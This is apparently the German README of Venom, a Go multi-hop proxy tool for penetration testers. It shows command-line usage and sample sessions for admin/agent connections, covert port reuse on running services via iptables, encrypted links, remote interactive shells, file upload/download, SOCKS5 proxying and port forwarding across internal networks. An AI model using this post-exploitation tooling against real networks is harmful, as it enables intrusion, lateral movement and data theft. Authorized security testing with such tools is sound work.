
Venom - Ein Multi-Hop-Proxy für Penetrationstester
Venom ist ein in Go entwickeltes Multi-Level-Proxy-Tool, das für Penetrationstester konzipiert ist.
Venom kann mehrere Knoten verbinden und diese Knoten als Sprungbrett nutzen, um eine mehrstufige Proxy-Kette aufzubauen.
Penetrationstester können Venom verwenden, um Netzwerkverkehr einfach in mehrere interne Netzwerke zu leiten und die Proxy-Knoten bequem zu verwalten.
Dieses Tool ist ausschließlich für Sicherheitsforschung und Schulungszwecke bestimmt. Der Benutzer trägt die alleinige Verantwortung für alle rechtlichen und damit verbundenen Konsequenzen, die sich aus der Nutzung dieses Tools ergeben! Der Autor übernimmt keine rechtliche oder damit verbundene Haftung!
Da IoT-Geräte (arm/mips/...) normalerweise über begrenzte Ressourcen verfügen, unterstützen die für IoT-Umgebungen kompilierten Binärdateien dieses Projekts keine Port-Nutzung und SSH-Tunnel, um die Größe der Binärdatei zu reduzieren. Außerdem wurden die Netzwerk-Parallelität und die Puffergröße begrenzt, um den Speicherverbrauch zu minimieren.
Sie können die vorkompilierten ausführbaren Dateien direkt von der Release-Seite herunterladen.
Wenn Sie das Projekt aus dem Quellcode kompilieren möchten, müssen Sie go >= 1.11 installieren und dann die folgenden Befehle ausführen:
go get -u github.com/Dliv3/Venom/...
# $GOPATH ist die bei der Installation von Go konfigurierte Umgebungsvariable, die mit dem Befehl go env angezeigt werden kann
cd $GOPATH/src/github.com/Dliv3/Venom
# Die kompilierten Binärdateien werden im Release-Ordner im aktuellen Verzeichnis gespeichert
./build.sh
YouTube-Demo-Video: https://www.youtube.com/playlist?list=PLtZO9vwOND91vZ7yCmlAvISmEl2iQKjdI
Admin- und Agent-Knoten können Verbindungen sowohl abhören als auch initiieren
Admin lauscht auf einem Port, Agent stellt Verbindung her:
./admin_macos_x64 -lport 9999
./agent_linux_x64 -rhost 192.168.0.103 -rport 9999
Agent lauscht auf einem Port, Admin stellt Verbindung her:
./agent_linux_x64 -lport 8888
./admin_macos_x64 -rhost 192.168.204.139 -rport 8888
Agent-Knoten unterstützen Port-Nutzung
Der Agent bietet zwei Methoden zur Port-Nutzung:
Mit der Port-Nutzung von Venom können unter Windows Ports von Diensten wie Apache, MySQL usw. genutzt werden (jedoch vorübergehend nicht RDP, IIS usw.). Unter Linux können die meisten Dienst-Ports genutzt werden. Der genutzte Port kann weiterhin normal seinen ursprünglichen Dienst bereitstellen.
Erste Methode zur Port-Nutzung
# Beispiel unter Windows mit Apache
# Nutzung des Apache-Ports 80, ohne den normalen HTTP-Dienst von Apache zu beeinträchtigen
# -lhost muss die IP des lokalen Hosts sein, nicht 0.0.0.0, sonst funktioniert die Port-Nutzung nicht
./agent.exe -lhost 192.168.204.139 -reuse-port 80
./admin_macos_x64 -rhost 192.168.204.139 -rport 80
Zweite Methode zur Port-Nutzung
help Hilfe anzeigen
(admin node) >>> help
help Hilfeinformationen.
exit Beenden.
show Netzwerktopologie anzeigen.
getdes Beschreibung des Zielknotens anzeigen.
setdes [info] Beschreibung zum Zielknoten hinzufügen.
goto [id] ID als Zielknoten auswählen.
listen [lport] Auf einem Port auf dem Zielknoten lauschen.
connect [rhost] [rport] Über den Zielknoten mit einem neuen Knoten verbinden.
sshconnect [user@ip:port] [dport] Über einen SSH-Tunnel mit einem neuen Knoten verbinden.
shell Interaktive Shell auf dem Zielknoten starten.
upload [local_file] [remote_file] Dateien auf den Zielknoten hochladen.
download [remote_file] [local_file] Dateien vom Zielknoten herunterladen.
socks [lport] SOCKS5-Server starten.
lforward [lhost] [sport] [dport] Lokalen Port zu einem entfernten Port weiterleiten.
rforward [rhost] [sport] [dport] Entfernten Port zu einem lokalen Port weiterleiten.
show Netzwerktopologie anzeigen
A steht für den Admin-Knoten, Zahlen für Agent-Knoten
Das folgende Topologie-Diagramm zeigt, dass der Admin-Knoten mit Knoten 1 verbunden ist, Knoten 1 mit den Knoten 2 und 4, und Knoten 2 mit Knoten 3.
(node 1) >>> show
A
+ -- 1
+ -- 2
+ -- 3
+ -- 4
show auf dem Admin-Knoten ausgeführt werden, um die Netzwerktopologie und die Knotennummern zu synchronisieren.script/port_reuse.py verwenden, um die auf dem Zielhost erstellten iptables-Regeln zu aktivieren.# Beispiel unter Linux mit Apache
# Root-Rechte erforderlich
sudo ./agent_linux_x64 -lport 8080 -reuse-port 80
Diese Methode erstellt iptables-Regeln, die den Datenverkehr von reuse-port an lport weiterleiten, von wo aus der Agent ihn verteilt.
Beachten Sie: Wenn das Programm über sigterm oder sigint (kill oder Strg-C) beendet wird, kann es die iptables-Regeln automatisch bereinigen. Wenn der Agent mit kill -9 beendet wird, ist dies nicht möglich, da das Programm das sigkill-Signal nicht verarbeiten kann. In diesem Fall müssen die iptables-Regeln manuell bereinigt werden.
Um zu vermeiden, dass die iptables-Regeln nicht automatisch bereinigt werden, wurde die zweite Methode basierend auf iptables -m recent implementiert, die die Weiterleitungsregeln über spezielle TCP-Pakete steuert.
Diese Implementierung bezieht sich auf https://threathunter.org/topic/594545184ea5b2f5516e2033
# Starten des Agents mit iptables-Regeln auf dem Linux-Host
# Wenn sich rhost im internen Netzwerk befindet, kann ein SOCKS5-Proxy für den Skriptverkehr verwendet werden (siehe unten)
python scripts/port_reuse.py --start --rhost 192.168.204.135 --rport 80
# Verbindung zum Agent-Knoten herstellen
./admin_macos_x64 -rhost 192.168.204.135 -rport 80
# Zum Deaktivieren der Weiterleitungsregeln
python scripts/port_reuse.py --stop --rhost 192.168.204.135 --rport 80
Verschlüsselte Kommunikation zwischen Knoten
Venom bietet eine verschlüsselte Kommunikation zwischen Knoten. Der Benutzer kann mit der Option -passwd ein Passwort angeben, das zur Generierung des AES-Verschlüsselungsschlüssels verwendet wird.
# Passwort mit -passwd setzen: dlive@dubhe
./admin_macos_x64 -lport 8889 -passwd dlive@dubhe
# Agent mit demselben Passwort verbinden
./agent_macos_x64 -rhost 192.168.0.103 -rport 8889 -passwd dlive@dubhe
Hinweis: Um einen neu hinzugefügten Knoten zu verwalten, muss zuerst der Befehl show auf dem Admin-Knoten ausgeführt werden, um die Netzwerktopologie und die Knotennummern zu synchronisieren.
goto Einen Knoten ansteuern
(admin node) >>> goto 1
(node 1) >>>
Nachdem Sie zu einem Knoten gewechselt sind, können Sie die folgenden Befehle verwenden.
getdes/setdes Beschreibung eines Knotens abrufen/festlegen
(node 1) >>> setdes linux x64 blahblahblah
(node 1) >>> getdes
linux x64 blahblahblah
connect/listen/sshconnect Knoten miteinander verbinden
Knoten 1 verbindet sich mit Port 9999 von 192.168.0.103:
(node 1) >>> connect 192.168.0.103 9999
connect to 192.168.0.103 9999
successfully connect to the remote port!
(node 1) >>> show
A
+ -- 1
+ -- 2
Auf Knoten 1 auf Port 9997 lauschen, dann auf einem anderen Rechner ./agent_linux_x64 -rhost 192.168.204.139 -rport 9997 ausführen, um sich mit Knoten 1 zu verbinden:
(node 1) >>> listen 9997
listen 9997
the port 9997 is successfully listening on the remote node!
(node 1) >>> show
A
+ -- 1
+ -- 2
+ -- 3
Auf 192.168.0.104 ./agent_linux_x64 -lport 9999 ausführen. Knoten 3 stellt über sshconnect einen SSH-Tunnel zu Port 9999 von 192.168.0.104 her. Sie können entweder ein Passwort oder einen SSH-Private-Key verwenden.
(node 1) >>> goto 3
(node 3) >>> sshconnect [email protected]:22 9999
use password (1) / ssh key (2)? 2
file path of ssh key: /Users/dlive/.ssh/id_rsa
connect to target host's 9999 through ssh tunnel ([email protected]:22).
ssh successfully connects to the remote node!
(node 3) >>> show
A
+ -- 1
+ -- 2
+ -- 3
+ -- 4
shell Interaktive Shell auf einem Knoten starten
(node 1) >>> shell
You can execute commands in this shell :D, 'exit' to exit.
bash: no job control in this shell
bash-3.2$ whoami
whoami
dlive
bash-3.2$ exit
exit
exit
upload/download Dateien auf einen Knoten hochladen/von einem Knoten herunterladen
Lokale Datei /tmp/test.pdf auf Knoten 1 als /tmp/test2.pdf hochladen:
(node 1) >>> upload /tmp/test.pdf /tmp/test2.pdf
upload /tmp/test.pdf to node 1: /tmp/test2.pdf
this file is too large(>100M), do you still want to upload it? (y/n)y
154.23 MiB / 154.23 MiB [========================================] 100.00% 1s
upload file successfully!
Datei /tmp/test2.pdf von Knoten 1 lokal als /tmp/test3.pdf herunterladen:
(node 1) >>> download /tmp/test2.pdf /tmp/test3.pdf
download /tmp/test2.pdf from node 1: /tmp/test3.pdf
this file is too large(>100M), do you still want to download it? (y/n)y
154.23 MiB / 154.23 MiB [========================================] 100.00% 1s
download file successfully!
socks SOCKS5-Proxy zu einem Knoten erstellen
(node 1) >>> socks 7777
a socks5 proxy of the target node has started up on local port 7777
Nach erfolgreicher Ausführung des socks-Befehls wird auf dem Admin-Knoten ein lokaler Port geöffnet (im Beispiel 7777). Verwenden Sie diesen Port für den SOCKS5-Proxy.
lforward/rforward Lokalen Port zum entfernten/entfernten Port zum lokalen weiterleiten
lforward leitet den lokalen Port 8888 des Admin-Knotens zum Port 8888 von Knoten 1 weiter:
(node 1) >>> lforward 127.0.0.1 8888 8888
forward local network 127.0.0.1 port 8888 to remote port 8888
rforward leitet den Port 8889 von 192.168.204.103 im Netzwerk von Knoten 1 zum lokalen Port 8889 des Admin-Knotens weiter:
(node 1) >>> rforward 192.168.204.103 8889 8889
forward remote network 192.168.204.103 port 8889 to local port 8889